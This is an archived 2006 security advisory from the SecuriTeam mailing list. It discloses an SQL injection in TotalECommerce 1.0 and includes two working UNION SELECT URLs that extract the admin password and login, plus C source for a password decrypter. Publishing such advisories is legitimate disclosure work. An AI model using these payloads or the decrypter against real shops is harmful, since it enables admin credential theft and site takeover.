[NT] TotalECommerce index.asp id SQL Injection
- From: SecuriTeam <support@xxxxxxxxxxxxxx>
- Date: 5 Mar 2006 10:07:47 +0200
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
TotalECommerce index.asp id SQL Injection
------------------------------------------------------------------------
SUMMARY
<http://www.boomerangsoftware.com/Products/TotalECommerce/TECInfo.htm>
TotalECommerce is "a complete ecommerce solution for FrontPage, includes
shopping cart, online store administration, order processing, order
verification by email, etc". An SQL injection vulnerability in the product
allows remote attackers to insert arbitrary values into the product's
database.
DETAILS
Vulnerable Systems:
* TotalECommerce version 1.0
How and Example:
GET -> http://[victim]/[dir]/index.asp?secao=[PageID]&id=[SQL]
EXAMPLE 1 ->
http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION select
senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha,senha,senha,senha,
senha,senha,senha,senha,senha,senha,senha+from+administradores
EXAMPLE 2 ->
http://[victim]/[dir]/index.asp?secao=25&id=-1+UNION select
login,login,login,login,login,login,login,
login,login,login,login,login,login,login,login,login,login,login,login,login, login,login,login,login,login,login,
login,login,login,login,login,login,login+from+administradores
With example 1 remote attacker can get admin's encrypted password and with
example 2 remote attacker can get admin's login name.
NOTE: [PageID]: must be working page id you can get some from frontpage.
Decrypter source in C:
/*********************************************
* TotalECommerce PWD Decrypter *
* Coded by |SaMaN| for nukedx *
* http://www.k9world.org *
* IRC.K9World.Org *
*Advisory: http://www.nukedx.com/?viewdoc=18 *
**********************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main()
{
char buf[255];
char buf2[255];
char buf3[255];
char *texto;
char *vcrypt;
int i,x,z,t = 0;
char saman;
texto = buf;
vcrypt = buf2;
printf("%s", "|=------------------------------------=|\n");
printf("%s", " Coded by |SaMaN| @ IRC.K9World.Org\n");
printf("%s", "|=------------------------------------=|\n\n");
printf("%s", "Enter crypted password: ");
scanf("%200s", buf);
if (!texto)
vcrypt = "";
for (i = 0; i < strlen(texto); i++)
{
if ((vcrypt == "") || (i > strlen(texto)))
x = 1;
else
x = x + 1;
t = buf[i];
z = 255 - t;
saman = toascii(z);
snprintf(buf3, 250, "%c", saman);
strncat(buf2, buf3, 250);
}
printf("Result: %s\n", buf2);
return;
}
ADDITIONAL INFORMATION
The information has been provided by <mailto:nukedx@xxxxxxxxxx> Mustafa
Can Bjorn.
The original article can be found at: <http://www.nukedx.com/?getxpl=18>
http://www.nukedx.com/?getxpl=18
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@xxxxxxxxxxxxxx
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxxx
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Prev by Date: [UNIX] Pixelpost Multiple Vulnerabilities
- Next by Date: [UNIX] Gregarius XSS and SQL Injection Vulnerabilities
- Previous by thread: [UNIX] Pixelpost Multiple Vulnerabilities
- Next by thread: [UNIX] Gregarius XSS and SQL Injection Vulnerabilities
- Index(es):
Relevant Pages
- [NEWS] Ventrilo Denial of Service
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... Lack of proper packet handling
within Ventrilo allow attackers to crash ... void ventrilo_udp_head_dec(unsigned char
*data) ... void ventrilo_udp_data_dec(unsigned char *data, int len, unsigned short ...
(Securiteam) - [EXPL] Windows Lsasrv.dll Remote Universal Exploit (MS04-011)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... unsigned char reverseshell[]
= ... int num; ... len = recv(sockfd, recvbuf, 1600, 0); ... (Securiteam) - [EXPL] Internet Explorer VML Buffer Overflow Download Exec (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... char *url = NULL; ...
int size) ... (Securiteam) - [EXPL] PostgreSQL Remote DoS (plpgsql)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... int main(int argc, char
*argv){ ... host = optarg; ... strcat(str, temp); ... (Securiteam) - [EXPL] Buffer Overflow in Sun Solaris Runtime Linker (Exploit)
... The following security advisory is sent to the securiteam mailing list, and can be
found at the SecuriTeam web site: http://www.securiteam.com ... const long SHELLCODE_ADDR
= 0xffbef17a; ... char * get_fake_frame; ... /* make sure addr doesn't contain
any 0x00 bytes, ... (Securiteam)